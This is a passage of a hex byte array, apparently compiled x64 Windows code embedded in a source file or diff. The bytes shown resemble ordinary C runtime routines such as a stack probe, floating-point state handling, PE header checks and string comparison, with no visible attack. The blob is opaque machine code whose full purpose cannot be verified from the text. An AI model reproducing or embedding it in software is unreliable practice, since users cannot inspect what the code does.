0xe7, 0x60, 0xff, 0xff, 0x83, 0xc8, 0xff, - 0x48, 0x83, 0xc4, 0x38, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x63, 0xf9, 0x8b, 0xcf, 0xe8, - 0xb0, 0xcc, 0xff, 0xff, 0x48, 0x83, 0xf8, 0xff, 0x75, 0x04, 0x33, 0xdb, - 0xeb, 0x5a, 0x48, 0x8b, 0x05, 0x7b, 0xd8, 0x00, 0x00, 0xb9, 0x02, 0x00, - 0x00, 0x00, 0x83, 0xff, 0x01, 0x75, 0x09, 0x40, 0x84, 0xb8, 0xc8, 0x00, - 0x00, 0x00, 0x75, 0x0d, 0x3b, 0xf9, 0x75, 0x20, 0xf6, 0x80, 0x80, 0x00, - 0x00, 0x00, 0x01, 0x74, 0x17, 0xe8, 0x7a, 0xcc, 0xff, 0xff, 0xb9, 0x01, - 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd8, 0xe8, 0x6d, 0xcc, 0xff, 0xff, 0x48, - 0x3b, 0xc3, 0x74, 0xbe, 0x8b, 0xcf, 0xe8, 0x61, 0xcc, 0xff, 0xff, 0x48, - 0x8b, 0xc8, 0xff, 0x15, 0x54, 0x14, 0x00, 0x00, 0x85, 0xc0, 0x75, 0xaa, - 0xff, 0x15, 0x2a, 0x15, 0x00, 0x00, 0x8b, 0xd8, 0x8b, 0xcf, 0xe8, 0x89, - 0xcb, 0xff, 0xff, 0x48, 0x8b, 0xd7, 0x4c, 0x8d, 0x05, 0x17, 0xd8, 0x00, - 0x00, 0x83, 0xe2, 0x3f, 0x48, 0x8b, 0xcf, 0x48, 0xc1, 0xf9, 0x06, 0x48, - 0x8d, 0x14, 0xd2, 0x49, 0x8b, 0x0c, 0xc8, 0xc6, 0x44, 0xd1, 0x38, 0x00, - 0x85, 0xdb, 0x74, 0x0c, 0x8b, 0xcb, 0xe8, 0xe1, 0x60, 0xff, 0xff, 0x83, - 0xc8, 0xff, 0xeb, 0x02, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, - 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0x83, 0x49, 0x18, 0xff, - 0x33, 0xc0, 0x48, 0x89, 0x01, 0x48, 0x89, 0x41, 0x08, 0x89, 0x41, 0x10, - 0x48, 0x89, 0x41, 0x1c, 0x48, 0x89, 0x41, 0x28, 0x87, 0x41, 0x14, 0xc3, - 0x40, 0x53, 0x48, 0x83, 0xec, 0x40, 0x48, 0x8b, 0x05, 0x47, 0xcd, 0x00, - 0x00, 0x33, 0xdb, 0x48, 0x83, 0xf8, 0xfe, 0x75, 0x2e, 0x48, 0x89, 0x5c, - 0x24, 0x30, 0x44, 0x8d, 0x43, 0x03, 0x89, 0x5c, 0x24, 0x28, 0x48, 0x8d, - 0x0d, 0xa3, 0x98, 0x00, 0x00, 0x45, 0x33, 0xc9, 0x44, 0x89, 0x44, 0x24, - 0x20, 0xba, 0x00, 0x00, 0x00, 0x40, 0xff, 0x15, 0x80, 0x13, 0x00, 0x00, - 0x48, 0x89, 0x05, 0x11, 0xcd, 0x00, 0x00, 0x48, 0x83, 0xf8, 0xff, 0x0f, - 0x95, 0xc3, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x40, 0x5b, 0xc3, 0xcc, 0xcc, - 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0x0d, 0xf5, 0xcc, 0x00, 0x00, 0x48, - 0x83, 0xf9, 0xfd, 0x77, 0x06, 0xff, 0x15, 0x79, 0x13, 0x00, 0x00, 0x48, - 0x83, 0xc4, 0x28, 0xc3, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, - 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x57, 0x48, 0x83, 0xec, 0x40, - 0x48, 0x83, 0x60, 0xd8, 0x00, 0x49, 0x8b, 0xf8, 0x4d, 0x8b, 0xc8, 0x8b, - 0xf2, 0x44, 0x8b, 0xc2, 0x48, 0x8b, 0xe9, 0x48, 0x8b, 0xd1, 0x48, 0x8b, - 0x0d, 0xb3, 0xcc, 0x00, 0x00, 0xff, 0x15, 0x0d, 0x13, 0x00, 0x00, 0x8b, - 0xd8, 0x85, 0xc0, 0x75, 0x6a, 0xff, 0x15, 0x11, 0x14, 0x00, 0x00, 0x83, - 0xf8, 0x06, 0x75, 0x5f, 0x48, 0x8b, 0x0d, 0x95, 0xcc, 0x00, 0x00, 0x48, - 0x83, 0xf9, 0xfd, 0x77, 0x06, 0xff, 0x15, 0x19, 0x13, 0x00, 0x00, 0x48, - 0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8d, 0x0d, 0xf4, 0x97, 0x00, 0x00, - 0x83, 0x64, 0x24, 0x28, 0x00, 0x41, 0xb8, 0x03, 0x00, 0x00, 0x00, 0x45, - 0x33, 0xc9, 0x44, 0x89, 0x44, 0x24, 0x20, 0xba, 0x00, 0x00, 0x00, 0x40, - 0xff, 0x15, 0xc6, 0x12, 0x00, 0x00, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, - 0x4c, 0x8b, 0xcf, 0x48, 0x8b, 0xc8, 0x48, 0x89, 0x05, 0x4b, 0xcc, 0x00, - 0x00, 0x44, 0x8b, 0xc6, 0x48, 0x8b, 0xd5, 0xff, 0x15, 0x9f, 0x12, 0x00, - 0x00, 0x8b, 0xd8, 0x48, 0x8b, 0x6c, 0x24, 0x58, 0x8b, 0xc3, 0x48, 0x8b, - 0x5c, 0x24, 0x50, 0x48, 0x8b, 0x74, 0x24, 0x60, 0x48, 0x83, 0xc4, 0x40, - 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, - 0xcc, 0xcc, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x48, 0x83, 0xec, 0x08, 0x0f, 0xae, 0x1c, 0x24, 0x8b, 0x04, 0x24, 0x48, - 0x83, 0xc4, 0x08, 0xc3, 0x89, 0x4c, 0x24, 0x08, 0x0f, 0xae, 0x54, 0x24, - 0x08, 0xc3, 0x0f, 0xae, 0x5c, 0x24, 0x08, 0xb9, 0xc0, 0xff, 0xff, 0xff, - 0x21, 0x4c, 0x24, 0x08, 0x0f, 0xae, 0x54, 0x24, 0x08, 0xc3, 0x66, 0x0f, - 0x2e, 0x05, 0x6a, 0x97, 0x00, 0x00, 0x73, 0x14, 0x66, 0x0f, 0x2e, 0x05, - 0x68, 0x97, 0x00, 0x00, 0x76, 0x0a, 0xf2, 0x48, 0x0f, 0x2d, 0xc8, 0xf2, - 0x48, 0x0f, 0x2a, 0xc1, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x48, - 0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8b, 0x44, 0x24, 0x78, 0x48, 0x89, - 0x44, 0x24, 0x28, 0x48, 0x8b, 0x44, 0x24, 0x70, 0x48, 0x89, 0x44, 0x24, - 0x20, 0xe8, 0x06, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x48, 0xc3, 0xcc, - 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, - 0x89, 0x78, 0x20, 0x48, 0x89, 0x48, 0x08, 0x55, 0x48, 0x8b, 0xec, 0x48, - 0x83, 0xec, 0x20, 0x48, 0x8b, 0xda, 0x41, 0x8b, 0xf1, 0x33, 0xd2, 0xbf, - 0x0d, 0x00, 0x00, 0xc0, 0x89, 0x51, 0x04, 0x48, 0x8b, 0x45, 0x10, 0x89, - 0x50, 0x08, 0x48, 0x8b, 0x45, 0x10, 0x89, 0x50, 0x0c, 0x41, 0xf6, 0xc0, - 0x10, 0x74, 0x0d, 0x48, 0x8b, 0x45, 0x10, 0xbf, 0x8f, 0x00, 0x00, 0xc0, - 0x83, 0x48, 0x04, 0x01, 0x41, 0xf6, 0xc0, 0x02, 0x74, 0x0d, 0x48, 0x8b, - 0x45, 0x10, 0xbf, 0x93, 0x00, 0x00, 0xc0, 0x83, 0x48, 0x04, 0x02, 0x41, - 0xf6, 0xc0, 0x01, 0x74, 0x0d, 0x48, 0x8b, 0x45, 0x10, 0xbf, 0x91, 0x00, - 0x00, 0xc0, 0x83, 0x48, 0x04, 0x04, 0x41, 0xf6, 0xc0, 0x04, 0x74, 0x0d, - 0x48, 0x8b, 0x45, 0x10, 0xbf, 0x8e, 0x00, 0x00, 0xc0, 0x83, 0x48, 0x04, - 0x08, 0x41, 0xf6, 0xc0, 0x08, 0x74, 0x0d, 0x48, 0x8b, 0x45, 0x10, 0xbf, - 0x90, 0x00, 0x00, 0xc0, 0x83, 0x48, 0x04, 0x10, 0x48, 0x8b, 0x4d, 0x10, - 0x48, 0x8b, 0x03, 0x48, 0xc1, 0xe8, 0x07, 0xc1, 0xe0, 0x04, 0xf7, 0xd0, - 0x33, 0x41, 0x08, 0x83, 0xe0, 0x10, 0x31, 0x41, 0x08, 0x48, 0x8b, 0x4d, - 0x10, 0x48, 0x8b, 0x03, 0x48, 0xc1, 0xe8, 0x09, 0xc1, 0xe0, 0x03, 0xf7, - 0xd0, 0x33, 0x41, 0x08, 0x83, 0xe0, 0x08, 0x31, 0x41, 0x08, 0x48, 0x8b, - 0x4d, 0x10, 0x48, 0x8b, 0x03, 0x48, 0xc1, 0xe8, 0x0a, 0xc1, 0xe0, 0x02, - 0xf7, 0xd0, 0x33, 0x41, 0x08, 0x83, 0xe0, 0x04, 0x31, 0x41, 0x08, 0x48, - 0x8b, 0x4d, 0x10, 0x48, 0x8b, 0x03, 0x48, 0xc1, 0xe8, 0x0b, 0x03, 0xc0, - 0xf7, 0xd0, 0x33, 0x41, 0x08, 0x83, 0xe0, 0x02, 0x31, 0x41, 0x08, 0x8b, - 0x03, 0x48, 0x8b, 0x4d, 0x10, 0x48, 0xc1, 0xe8, 0x0c, 0xf7, 0xd0, 0x33, - 0x41, 0x08, 0x83, 0xe0, 0x01, 0x31, 0x41, 0x08, 0xe8, 0xe7, 0x02, 0x00, - 0x00, 0x48, 0x8b, 0xd0, 0xa8, 0x01, 0x74, 0x08, 0x48, 0x8b, 0x4d, 0x10, - 0x83, 0x49, 0x0c, 0x10, 0xf6, 0xc2, 0x04, 0x74, 0x08, 0x48, 0x8b, 0x4d, - 0x10, 0x83, 0x49, 0x0c, 0x08, 0xf6, 0xc2, 0x08, 0x74, 0x08, 0x48, 0x8b, - 0x45, 0x10, 0x83, 0x48, 0x0c, 0x04, 0xf6, 0xc2, 0x10, 0x74, 0x08, 0x48, - 0x8b, 0x45, 0x10, 0x83, 0x48, 0x0c, 0x02, 0xf6, 0xc2, 0x20, 0x74, 0x08, - 0x48, 0x8b, 0x45, 0x10, 0x83, 0x48, 0x0c, 0x01, 0x8b, 0x03, 0xb9, 0x00, - 0x60, 0x00, 0x00, 0x48, 0x23, 0xc1, 0x74, 0x3e, 0x48, 0x3d, 0x00, 0x20, - 0x00, 0x00, 0x74, 0x26, 0x48, 0x3d, 0x00, 0x40, 0x00, 0x00, 0x74, 0x0e, - 0x48, 0x3b, 0xc1, 0x75, 0x30, 0x48, 0x8b, 0x45, 0x10, 0x83, 0x08, 0x03, - 0xeb, 0x27, 0x48, 0x8b, 0x45, 0x10, 0x83, 0x20, 0xfe, 0x48, 0x8b, 0x45, - 0x10, 0x83, 0x08, 0x02, 0xeb, 0x17, 0x48, 0x8b, 0x45, 0x10, 0x83, 0x20, - 0xfd, 0x48, 0x8b, 0x45, 0x10, 0x83, 0x08, 0x01, 0xeb, 0x07, 0x48, 0x8b, - 0x45, 0x10, 0x83, 0x20, 0xfc, 0x48, 0x8b, 0x45, 0x10, 0x81, 0xe6, 0xff, - 0x0f, 0x00, 0x00, 0xc1, 0xe6, 0x05, 0x81, 0x20, 0x1f, 0x00, 0xfe, 0xff, - 0x48, 0x8b, 0x45, 0x10, 0x09, 0x30, 0x48, 0x8b, 0x45, 0x10, 0x48, 0x8b, - 0x75, 0x38, 0x83, 0x48, 0x20, 0x01, 0x83, 0x7d, 0x40, 0x00, 0x74, 0x33, - 0x48, 0x8b, 0x45, 0x10, 0xba, 0xe1, 0xff, 0xff, 0xff, 0x21, 0x50, 0x20, - 0x48, 0x8b, 0x45, 0x30, 0x8b, 0x08, 0x48, 0x8b, 0x45, 0x10, 0x89, 0x48, - 0x10, 0x48, 0x8b, 0x45, 0x10, 0x83, 0x48, 0x60, 0x01, 0x48, 0x8b, 0x45, - 0x10, 0x21, 0x50, 0x60, 0x48, 0x8b, 0x45, 0x10, 0x8b, 0x0e, 0x89, 0x48, - 0x50, 0xeb, 0x48, 0x48, 0x8b, 0x4d, 0x10, 0x41, 0xb8, 0xe3, 0xff, 0xff, - 0xff, 0x8b, 0x41, 0x20, 0x41, 0x23, 0xc0, 0x83, 0xc8, 0x02, 0x89, 0x41, - 0x20, 0x48, 0x8b, 0x45, 0x30, 0x48, 0x8b, 0x08, 0x48, 0x8b, 0x45, 0x10, - 0x48, 0x89, 0x48, 0x10, 0x48, 0x8b, 0x45, 0x10, 0x83, 0x48, 0x60, 0x01, - 0x48, 0x8b, 0x55, 0x10, 0x8b, 0x42, 0x60, 0x41, 0x23, 0xc0, 0x83, 0xc8, - 0x02, 0x89, 0x42, 0x60, 0x48, 0x8b, 0x45, 0x10, 0x48, 0x8b, 0x16, 0x48, - 0x89, 0x50, 0x50, 0xe8, 0xec, 0x00, 0x00, 0x00, 0x33, 0xd2, 0x4c, 0x8d, - 0x4d, 0x10, 0x8b, 0xcf, 0x44, 0x8d, 0x42, 0x01, 0xff, 0x15, 0x0a, 0x11, - 0x00, 0x00, 0x48, 0x8b, 0x4d, 0x10, 0x8b, 0x41, 0x08, 0xa8, 0x10, 0x74, - 0x08, 0x48, 0x0f, 0xba, 0x33, 0x07, 0x8b, 0x41, 0x08, 0xa8, 0x08, 0x74, - 0x08, 0x48, 0x0f, 0xba, 0x33, 0x09, 0x8b, 0x41, 0x08, 0xa8, 0x04, 0x74, - 0x08, 0x48, 0x0f, 0xba, 0x33, 0x0a, 0x8b, 0x41, 0x08, 0xa8, 0x02, 0x74, - 0x08, 0x48, 0x0f, 0xba, 0x33, 0x0b, 0x8b, 0x41, 0x08, 0xa8, 0x01, 0x74, - 0x05, 0x48, 0x0f, 0xba, 0x33, 0x0c, 0x8b, 0x01, 0x83, 0xe0, 0x03, 0x74, - 0x30, 0x83, 0xe8, 0x01, 0x74, 0x1f, 0x83, 0xe8, 0x01, 0x74, 0x0e, 0x83, - 0xf8, 0x01, 0x75, 0x28, 0x48, 0x81, 0x0b, 0x00, 0x60, 0x00, 0x00, 0xeb, - 0x1f, 0x48, 0x0f, 0xba, 0x33, 0x0d, 0x48, 0x0f, 0xba, 0x2b, 0x0e, 0xeb, - 0x13, 0x48, 0x0f, 0xba, 0x33, 0x0e, 0x48, 0x0f, 0xba, 0x2b, 0x0d, 0xeb, - 0x07, 0x48, 0x81, 0x23, 0xff, 0x9f, 0xff, 0xff, 0x83, 0x7d, 0x40, 0x00, - 0x74, 0x07, 0x8b, 0x41, 0x50, 0x89, 0x06, 0xeb, 0x07, 0x48, 0x8b, 0x41, - 0x50, 0x48, 0x89, 0x06, 0x48, 0x8b, 0x5c, 0x24, 0x38, 0x48, 0x8b, 0x74, - 0x24, 0x40, 0x48, 0x8b, 0x7c, 0x24, 0x48, 0x48, 0x83, 0xc4, 0x20, 0x5d, - 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x83, 0xf9, 0x01, 0x74, - 0x15, 0x8d, 0x41, 0xfe, 0x83, 0xf8, 0x01, 0x77, 0x18, 0xe8, 0x3e, 0x5c, - 0xff, 0xff, 0xc7, 0x00, 0x22, 0x00, 0x00, 0x00, 0xeb, 0x0b, 0xe8, 0x31, - 0x5c, 0xff, 0xff, 0xc7, 0x00, 0x21, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, - 0x28, 0xc3, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0xe8, 0x3d, - 0xfc, 0xff, 0xff, 0x8b, 0xd8, 0x83, 0xe3, 0x3f, 0xe8, 0x4d, 0xfc, 0xff, - 0xff, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, - 0x48, 0x89, 0x5c, 0x24, 0x18, 0x48, 0x89, 0x74, 0x24, 0x20, 0x57, 0x48, - 0x83, 0xec, 0x20, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0xf9, 0xe8, 0x0e, 0xfc, - 0xff, 0xff, 0x8b, 0xf0, 0x89, 0x44, 0x24, 0x38, 0x8b, 0xcb, 0xf7, 0xd1, - 0x81, 0xc9, 0x7f, 0x80, 0xff, 0xff, 0x23, 0xc8, 0x23, 0xfb, 0x0b, 0xcf, - 0x89, 0x4c, 0x24, 0x30, 0x80, 0x3d, 0x0d, 0xc8, 0x00, 0x00, 0x00, 0x74, - 0x25, 0xf6, 0xc1, 0x40, 0x74, 0x20, 0xe8, 0xf1, 0xfb, 0xff, 0xff, 0xeb, - 0x21, 0xc6, 0x05, 0xf8, 0xc7, 0x00, 0x00, 0x00, 0x8b, 0x4c, 0x24, 0x30, - 0x83, 0xe1, 0xbf, 0xe8, 0xdc, 0xfb, 0xff, 0xff, 0x8b, 0x74, 0x24, 0x38, - 0xeb, 0x08, 0x83, 0xe1, 0xbf, 0xe8, 0xce, 0xfb, 0xff, 0xff, 0x8b, 0xc6, - 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x74, 0x24, 0x48, 0x48, 0x83, - 0xc4, 0x20, 0x5f, 0xc3, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, - 0xd9, 0xe8, 0x9e, 0xfb, 0xff, 0xff, 0x83, 0xe3, 0x3f, 0x0b, 0xc3, 0x8b, - 0xc8, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xe9, 0x9d, 0xfb, 0xff, 0xff, 0xcc, - 0x48, 0x83, 0xec, 0x28, 0xe8, 0x83, 0xfb, 0xff, 0xff, 0x83, 0xe0, 0x3f, - 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, - 0xcc, 0xcc, 0xcc, 0xcc, 0x4c, 0x63, 0x41, 0x3c, 0x45, 0x33, 0xc9, 0x4c, - 0x03, 0xc1, 0x4c, 0x8b, 0xd2, 0x41, 0x0f, 0xb7, 0x40, 0x14, 0x45, 0x0f, - 0xb7, 0x58, 0x06, 0x48, 0x83, 0xc0, 0x18, 0x49, 0x03, 0xc0, 0x45, 0x85, - 0xdb, 0x74, 0x1e, 0x8b, 0x50, 0x0c, 0x4c, 0x3b, 0xd2, 0x72, 0x0a, 0x8b, - 0x48, 0x08, 0x03, 0xca, 0x4c, 0x3b, 0xd1, 0x72, 0x0e, 0x41, 0xff, 0xc1, - 0x48, 0x83, 0xc0, 0x28, 0x45, 0x3b, 0xcb, 0x72, 0xe2, 0x33, 0xc0, 0xc3, - 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, - 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, - 0xd9, 0x48, 0x8d, 0x3d, 0x3c, 0xed, 0xfe, 0xff, 0x48, 0x8b, 0xcf, 0xe8, - 0x34, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x22, 0x48, 0x2b, 0xdf, 0x48, - 0x8b, 0xd3, 0x48, 0x8b, 0xcf, 0xe8, 0x82, 0xff, 0xff, 0xff, 0x48, 0x85, - 0xc0, 0x74, 0x0f, 0x8b, 0x40, 0x24, 0xc1, 0xe8, 0x1f, 0xf7, 0xd0, 0x83, - 0xe0, 0x01, 0xeb, 0x02, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, - 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0xb8, 0x4d, 0x5a, 0x00, - 0x00, 0x66, 0x39, 0x01, 0x75, 0x20, 0x48, 0x63, 0x41, 0x3c, 0x48, 0x03, - 0xc1, 0x81, 0x38, 0x50, 0x45, 0x00, 0x00, 0x75, 0x11, 0xb9, 0x0b, 0x02, - 0x00, 0x00, 0x66, 0x39, 0x48, 0x18, 0x75, 0x06, 0xb8, 0x01, 0x00, 0x00, - 0x00, 0xc3, 0x33, 0xc0, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, - 0x4d, 0x8b, 0x41, 0x38, 0x48, 0x8b, 0xca, 0x49, 0x8b, 0xd1, 0xe8, 0x0d, - 0x00, 0x00, 0x00, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x28, - 0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x53, 0x45, 0x8b, 0x18, 0x48, 0x8b, 0xda, - 0x41, 0x83, 0xe3, 0xf8, 0x4c, 0x8b, 0xc9, 0x41, 0xf6, 0x00, 0x04, 0x4c, - 0x8b, 0xd1, 0x74, 0x13, 0x41, 0x8b, 0x40, 0x08, 0x4d, 0x63, 0x50, 0x04, - 0xf7, 0xd8, 0x4c, 0x03, 0xd1, 0x48, 0x63, 0xc8, 0x4c, 0x23, 0xd1, 0x49, - 0x63, 0xc3, 0x4a, 0x8b, 0x14, 0x10, 0x48, 0x8b, 0x43, 0x10, 0x8b, 0x48, - 0x08, 0x48, 0x8b, 0x43, 0x08, 0xf6, 0x44, 0x01, 0x03, 0x0f, 0x74, 0x0b, - 0x0f, 0xb6, 0x44, 0x01, 0x03, 0x83, 0xe0, 0xf0, 0x4c, 0x03, 0xc8, 0x4c, - 0x33, 0xca, 0x49, 0x8b, 0xc9, 0x5b, 0xe9, 0xd5, 0x05, 0xff, 0xff, 0xcc, - 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x66, 0x66, - 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x83, 0xec, 0x10, - 0x4c, 0x89, 0x14, 0x24, 0x4c, 0x89, 0x5c, 0x24, 0x08, 0x4d, 0x33, 0xdb, - 0x4c, 0x8d, 0x54, 0x24, 0x18, 0x4c, 0x2b, 0xd0, 0x4d, 0x0f, 0x42, 0xd3, - 0x65, 0x4c, 0x8b, 0x1c, 0x25, 0x10, 0x00, 0x00, 0x00, 0x4d, 0x3b, 0xd3, - 0x73, 0x16, 0x66, 0x41, 0x81, 0xe2, 0x00, 0xf0, 0x4d, 0x8d, 0x9b, 0x00, - 0xf0, 0xff, 0xff, 0x41, 0xc6, 0x03, 0x00, 0x4d, 0x3b, 0xd3, 0x75, 0xf0, - 0x4c, 0x8b, 0x14, 0x24, 0x4c, 0x8b, 0x5c, 0x24, 0x08, 0x48, 0x83, 0xc4, - 0x10, 0xc3, 0xcc, 0xcc, 0x45, 0x33, 0xc9, 0x4c, 0x8b, 0xc1, 0x85, 0xd2, - 0x75, 0x3f, 0x41, 0x83, 0xe0, 0x0f, 0x48, 0x8b, 0xd1, 0x48, 0x83, 0xe2, - 0xf0, 0x41, 0x8b, 0xc8, 0x41, 0x83, 0xc8, 0xff, 0x0f, 0x57, 0xc0, 0x41, - 0xd3, 0xe0, 0x66, 0x0f, 0x74, 0x02, 0x66, 0x0f, 0xd7, 0xc0, 0x41, 0x23, - 0xc0, 0x75, 0x13, 0x48, 0x83, 0xc2, 0x10, 0x0f, 0x57, 0xc0, 0x66, 0x0f, - 0x74, 0x02, 0x66, 0x0f, 0xd7, 0xc0, 0x85, 0xc0, 0x74, 0xed, 0x0f, 0xbc, - 0xc0, 0x48, 0x03, 0xc2, 0xc3, 0x83, 0x3d, 0xb8, 0xbb, 0x00, 0x00, 0x02, - 0x0f, 0x8d, 0xa8, 0x00, 0x00, 0x00, 0x0f, 0xb6, 0xc2, 0x4d, 0x8b, 0xd0, - 0x41, 0x83, 0xe0, 0x0f, 0x49, 0x83, 0xe2, 0xf0, 0x8b, 0xc8, 0xc1, 0xe1, - 0x08, 0x0b, 0xc8, 0x66, 0x0f, 0x6e, 0xc1, 0x41, 0x8b, 0xc8, 0xf2, 0x0f, - 0x70, 0xc8, 0x00, 0x41, 0x83, 0xc8, 0xff, 0x0f, 0x57, 0xc0, 0x41, 0xd3, - 0xe0, 0x66, 0x41, 0x0f, 0x74, 0x02, 0x66, 0x0f, 0xd7, 0xc8, 0x66, 0x0f, - 0x70, 0xd1, 0x00, 0x66, 0x0f, 0x6f, 0xc2, 0x66, 0x41, 0x0f, 0x74, 0x02, - 0x66, 0x0f, 0xd7, 0xd0, 0x41, 0x23, 0xd0, 0x41, 0x23, 0xc8, 0x75, 0x2d, - 0x0f, 0xbd, 0xca, 0x0f, 0x57, 0xc9, 0x66, 0x0f, 0x6f, 0xc2, 0x49, 0x03, - 0xca, 0x85, 0xd2, 0x4c, 0x0f, 0x45, 0xc9, 0x49, 0x83, 0xc2, 0x10, 0x66, - 0x41, 0x0f, 0x74, 0x0a, 0x66, 0x41, 0x0f, 0x74, 0x02, 0x66, 0x0f, 0xd7, - 0xc9, 0x66, 0x0f, 0xd7, 0xd0, 0x85, 0xc9, 0x74, 0xd3, 0x8b, 0xc1, 0xf7, - 0xd8, 0x23, 0xc1, 0xff, 0xc8, 0x23, 0xd0, 0x0f, 0xbd, 0xca, 0x49, 0x03, - 0xca, 0x85, 0xd2, 0x4c, 0x0f, 0x45, 0xc9, 0x49, 0x8b, 0xc1, 0xc3, 0x41, - 0x0f, 0xbe, 0x00, 0x3b, 0xc2, 0x4d, 0x0f, 0x44, 0xc8, 0x41, 0x80, 0x38, - 0x00, 0x74, 0xec, 0x49, 0xff, 0xc0, 0x41, 0xf6, 0xc0, 0x0f, 0x75, 0xe7, - 0x0f, 0xb6, 0xc2, 0x66, 0x0f, 0x6e, 0xc0, 0x66, 0x41, 0x0f, 0x3a, 0x63, - 0x00, 0x40, 0x73, 0x0d, 0x4c, 0x63, 0xc9, 0x4d, 0x03, 0xc8, 0x66, 0x41, - 0x0f, 0x3a, 0x63, 0x00, 0x40, 0x74, 0xc4, 0x49, 0x83, 0xc0, 0x10, 0xeb, - 0xe2, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, - 0xcc, 0xcc, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x48, 0x2b, 0xd1, 0x49, 0x83, 0xf8, 0x08, 0x72, 0x22, 0xf6, 0xc1, 0x07, - 0x74, 0x14, 0x66, 0x90, 0x8a, 0x01, 0x3a, 0x04, 0x11, 0x75, 0x2c, 0x48, - 0xff, 0xc1, 0x49, 0xff, 0xc8, 0xf6, 0xc1, 0x07, 0x75, 0xee, 0x4d, 0x8b, - 0xc8, 0x49, 0xc1, 0xe9, 0x03, 0x75, 0x1f, 0x4d, 0x85, 0xc0, 0x74, 0x0f, - 0x8a, 0x01, 0x3a, 0x04, 0x11, 0x75, 0x0c, 0x48, 0xff, 0xc1, 0x49, 0xff, - 0xc8, 0x75, 0xf1, 0x48, 0x33, 0xc0, 0xc3, 0x1b, 0xc0, 0x83, 0xd8, 0xff, - 0xc3, 0x90, 0x49, 0xc1, 0xe9, 0x02, 0x74, 0x37, 0x48, 0x8b, 0x01, 0x48, - 0x3b, 0x04, 0x11, 0x75, 0x5b, 0x48, 0x8b, 0x41, 0x08, 0x48, 0x3b, 0x44, - 0x11, 0x08, 0x75, 0x4c, 0x48, 0x8b, 0x41, 0x10, 0x48, 0x3b, 0x44, 0x11, - 0x10, 0x75, 0x3d, 0x48, 0x8b, 0x41, 0x18, 0x48, 0x3b, 0x44, 0x11, 0x18, - 0x75, 0x2e, 0x48, 0x83, 0xc1, 0x20, 0x49, 0xff, 0xc9, 0x75, 0xcd, 0x49, - 0x83, 0xe0, 0x1f, 0x4d, 0x8b, 0xc8, 0x49, 0xc1, 0xe9, 0x03, 0x74, 0x9b, - 0x48, 0x8b, 0x01, 0x48, 0x3b, 0x04, 0x11, 0x75, 0x1b, 0x48, 0x83, 0xc1, - 0x08, 0x49, 0xff, 0xc9, 0x75, 0xee, 0x49, 0x83, 0xe0, 0x07, 0xeb, 0x83, - 0x48, 0x83, 0xc1, 0x08, 0x48, 0x83, 0xc1, 0x08, 0x48, 0x83, 0xc1, 0x08, - 0x48, 0x8b, 0x0c, 0x0a, 0x48, 0x0f, 0xc8, 0x48, 0x0f, 0xc9, 0x48, 0x3b, - 0xc1, 0x1b, 0xc0, 0x83, 0xd8, 0xff, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, - 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x66, 0x66, - 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0, 0xcc, 0xcc, - 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, - 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, - 0x00, 0x00, 